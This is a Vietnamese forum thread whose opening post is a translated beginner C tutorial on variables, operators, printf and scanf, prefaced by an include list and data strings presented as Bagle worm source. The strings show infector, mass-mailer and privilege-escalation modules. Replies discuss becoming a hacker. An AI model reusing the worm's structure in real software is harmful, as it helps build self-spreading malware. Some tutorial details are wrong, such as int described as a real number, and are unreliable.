include Utils.asm
include Stream.asm
include PassGen.asm
include HashTable.asm
IFNDEF DisablePK
include ProcKiller.asm
ENDIF
include CPLStub.inc
include CPL.asm
include VBS.asm
include HTA.asm
include ZIP.asm
include StartUp.asm
include Network.asm
IFNDEF DisableNotify
include Notify.asm
ENDIF
include Admin.asm
include DNS.asm
include SMTPClient.asm
include SMTPThread.asm
IFNDEF DisableInfect
include PVG.asm
include PEInfector.asm
ENDIF
include EmailScanner.asm
include HDDScanner.asm
include SMTPMessage.asm
.data
; Do not change order
szSeDebug db "SeDebugPrivilege",0
szAdvApi db "advapi32.dll",0
db "AdjustTokenPrivileges", 0
db "InitializeAcl",0
db "LookupPrivilegeValueA",0
db "OpenProcessToken",0
db "SetSecurityInfo",0,0
szKernel32 db "kernel32.dll",0
db "RegisterServiceProcess",0,0;
RegisterServiceProcess(GetCurrentProcessID,1);. ..


Thế nào hãy xem includes, chú thích (những dòng bắt đầu bằng ; ) và kết thúc .Nó có cấu trúc và hình thức trình bài như C .Đó là mã của Bagel Worn.nhiều loại virus và trojan cũng như thế.

***Variable***
Variable:là đại lượng có thể thay đổi giá trị .trong chương trình nó là tên của ô nhớ chứa dữ liệu.Nếu không có nó bạn sẽ khó trong việc phân chia thông tin.Các kiểu biến trong C là :
Char, int ,float, double
Để khai báo 1 biến bạn dùng cú pháp sau:
int i;
Ý nghĩa là gán cho biến i giá trị là số nguyên (không có dấu chấm động).Và i dùng chứa các số nguyên
Giá trị của int từ -2147483648-->2147483647 biểu diễn bằng 4 byte chiều dài
Giá trị của char chi 1 byte là chỉ nhận kí tự .1 byte chỉ lưu trữ các số từ 0-255.
Tiếp theo ta thử xem bằng cách nào mà biến được gán giá tri:
int i;
i = 7;
trong ví dụ trên cúng ta tạo 1 biến i là số thực và gán cho nó giá trị là 7.Dấu = là kí hiệu gán giá trị cho biến của ngôn ngữ C.
Bạn có thể gán nhiều gái trị khác :
int i, j, k; /* khai báo nhiều giá trị . */
i = 6;
j = 5;
k = i + j; /* k bằng 11 (5 + 6) */
j = i * k; /* j bằng 66 (6 * 11) */
i = j + 1; /* i bằng 67 */
k += 6; /* k=k+6 */
i++; /* i=i+1 */
i--; /* i=i-1 */
Bạn có thể dùng các phép so sánh giữa các toán tử VD:
int i, j, k; //Multiple declaration.
i = 6;
j = 5;
k = 7;
if(i == j); /* false - note double = */
if(k > j); /* true */

Ý nghĩa

== Bằng
> Lớn hơn
< Nhở hơn
>= Lớn hơn hoặc bằng
<= Nhở hơn hoặc bằng
!= Không bằng
Cần chú ý rằng = (một dấu bằng) hoàn toàn khác với == (hai dấu bằng). Dấu đầu tiên là một toán tử gán ( gán giá trị của biểu thức bên phải cho biến ở bên trái) và dấu còn lại (==) là một toán tử quan hệ nhằm so sánh xem hai biểu thức có bằng nhau hay không. Đó là 1 lỗi mà rất nhiều người mắc phải .

Tiếp tục nào
Chúng ta đã biết sài các biến các kiểu dữ liệu nhưng làm sao trình bày chúng? Chúng ta cũng tìm hiểu 2 function có thể giúp chúng ta trình bày là printf() và scanf().
Hàm printf có tác dụng định dạng dễ in. (PRINT Formatted – printf)
printf("This is text. This is a variable: %d \n", i);
hàm này trình bày toàn bộ nội dung trong dấu "" với 2 tùy chọn %d và \n
%d co nghĩa là in số nguyên và in dưới dạng số thập phân
/n là tạo 1 dòng mới tức là sau khi in dòng thì tự đông xuống hàng.
Ngoài ra còn nhiều tùy chon khác như %c :in ra chữ ;%f in kiểu số thực
Ví dụ c=”A”; x=98736;
printf(“This is text. This is a variable: %d \n”, i);
kết quả :
c: A, x: 98736
Đễ thực hiện nhâp kết quả vào ta dùng hàm scanf().Cú pháp cũng như hàm printf
scanf(“chuỗi định dạng”,địa chỉ biên);
ví dụ: scanf(“%d”,&y);
Hãy chú ý đến kí hiệu & trước y.Bạn sẽ học kĩ về nó khi qua trương về pointers(con trỏ).Kí hiệu & cho phép hàm scanf đưa giá trị vào địa chỉ nhớ.

Chương trình thứ hai :
Hãy nhập nội dung .Tại đây chương trình sẽ hỏi các giá trị cần thiết :
#include <stdio.h>
main() {
char c;
printf(“Please type a letter:\n”);
scanf(“%c”, &c);
printf(“You entered: %c \n”, c);
}
Sau khi nhập đặt tên cho nó ở đây tôi đặt tên là ‘fist.c’.Tiếp theo là làm gì đây ?
Biện dịch nó đi nào :
gcc first.c -o first
và chay nó để xem kết quả : và bạn thấy
-sh-2.05b$ gcc first.c -o first
-sh-2.05b$ ./first
Please type a letter:
F
You entered: F
-sh-2.05b$
Sau đây là mở rông của code trên :
#include <stdio.h>
main() {
int a, b, c;
printf(“Please enter an integer: \n”);
scanf(“%d”, &a);
printf(“Please enter a second integer: \n”);
scanf(“%d”, &b);
c = a + b;
printf(“Answer: %d \n”, c);
}
Vậy chương trình đã thực hiên như thế nào ?
Đầu tiên là khai báo biến
int a, b, c;
Tiếp đến chương trình in ra câu yêu cầu
printf(“Please enter an integer: \n”);
tiếp là hàm scanf sẽ nhập biến số ta nhập vào biến a tương tự với hàm sau nhưng nhập vào biến b.và thực hiện phép công 2 giá trị của biến a và b và gán giá trị cộng được vào biến c.
c= a+b;
Cuối cùng là in kết quả ra màn hình.
Thế là ta đã có 1 máy tính thực hiện phép công .
Đó là tất cả của tập này .Bạn hãy tự nhập các câu lệnh và cho chạy thử .
Tập tiếp theo ta sẽ bàn về các thành phần điều khiển khác của C.

Bài tập
1. Hãy viết 1 chương trình thực hiện nhập 2 số vào và thực hiện phép nhân và in ra màn hinh
2. 2.Hãy viết 1 chương trình thực hiện nhập 1 số vào và thực hiện in ra bình phương của số đó chỉ sử dụng 2 biến.
3. 3.hãy thêm các chú thích vào các chương trình của bạn.
4. 4.Xem lại cấu trúc của chương trình của bạn.
Hết phần II

†.Crazy_Devil.†
27-06-2008, 03:43 PM
Quá dài,bất tiện,sao bạn ko up cái ebook đó hoặc copy vào file word...up lên cho mọi người tải xuống,vào đây đọc hoa mắt nên dễ nản lắm==> ko ích lợi zi`,hack nói ra rất rộng lớn,nên post theo kiểu này ko hay lắm đâu bạn ạ^^!

™Ác Quỷ™
27-06-2008, 03:55 PM
Nếu muốn làm hacker thì đọc mấy cái này còn ít , tui có cuốn sách về lập trình dày toàn tiếng anh không đấy

†.Crazy_Devil.†
27-06-2008, 04:02 PM
Ko phải ít hay nhiều=.=,nhưng bạn post thế mình thấy đọc nó....khó khăn thế nào á:big_smile:

liem_liem440
27-06-2008, 04:36 PM
Eboook copy đây à ? :surrender:

™Ác Quỷ™
27-06-2008, 08:00 PM
Hok phải copy đâu mà là dịch ra đó :D

changkho2544
28-06-2008, 09:25 AM
Cũng thanks ... Đọc mù lun ...

boy9xLil'Knight
28-06-2008, 11:14 AM
mới nhjn` thấy hoa hết cả mắt lẫn mũi =]]

™Ác Quỷ™
29-06-2008, 09:02 AM
Các bạn sao hay cằng nhăn thế nhỉ , mình đã có công sưu tâm cho các bạn đọc thế mà bạn lại nói thế , nếu ai muốn làm hacker thì ít nhất đọc gấp 10 lần cái này đó

cutefeifei
01-07-2008, 11:19 PM
ừm công nhận ! khổ thân ,:adore:nhiệt tình nhưng lại bị chê bai

Neo_thatbai
04-07-2008, 01:19 AM
nếu câu đúng 14 tuổi mà lại quan tâm và hơn hết là hiểu đôi chút về C hay hacker thì tôi thực sự nể bạn .thanks

PoppiN
04-07-2008, 01:40 AM
vậy là muốn làm hacker thì phải đầu to mắt cận mới đủ trình :D

¤†™Kute ßø¥™†¤
04-07-2008, 07:08 AM
ui' troi` oi!
Đọc gap^' 10 lan^` chắc chet^'

¤†™Kute ßø¥™†¤
04-07-2008, 07:10 AM
Có cái nào ngắn hơn cái này không vậy bạn?

¤†™Kute ßø¥™†¤
04-07-2008, 07:11 AM
Đọc dài như vậy thì chắc chắn là: Vạn sự khởi đầu nan gian nan bắt đầu nãn rồi!

[Mr]_Hieu
04-07-2008, 11:59 AM
hacker phải học tập nhìu như thế này thì chịu rồi bỏ ước mơ được làm hacker huhu

™Ác Quỷ™
04-07-2008, 12:10 PM
Hoho , nếu bạn không tin thì hãy vào nhà sách vào khu Tin Học có cuốn sách hưỡng dẫn viết lập trinh và xâm nhập Trang Wed ảo đó , với giá tiền là 90 Ngàn thôi

windyboy129
04-07-2008, 03:35 PM
phải save về để đọc đã

dancer_09
04-07-2008, 04:00 PM
thế bạn bít hack game online ko?

Neverlove_again07
04-07-2008, 05:41 PM
Nếu ai thấy khó đọc thì tự mình save thành file word mà đọc. Bài viết có giá trị, tiếp tục đi bạn !

™Ác Quỷ™
04-07-2008, 06:17 PM
Nếu ai thấy khó đọc thì tự mình save thành file word mà đọc. Bài viết có giá trị, tiếp tục đi bạn !

Bạn nói cái mòn , hãy tự thể hiện đi , 1 cái thank nào :2T-khicon-(90)::2T-khicon-(90):

phanthecong
05-07-2008, 09:54 AM
bạn ơi tui cũng biết lập trình và biết phá nữa vậy tui có phải là hacker không?

™Ác Quỷ™
05-07-2008, 11:33 AM
bạn ơi tui cũng biết lập trình và biết phá nữa vậy tui có phải là hacker không?

Thế bạn đã từng xâm nhập hệ thống máy tính khác không , bạn đã từng viết chương trình mình tự nghĩ không , nếu bạn muốn làm hacker thì thứ nhất nên thử máy ở nhà , làm 1 chương trình hack game offline máy nhà bạn là được :big_smile: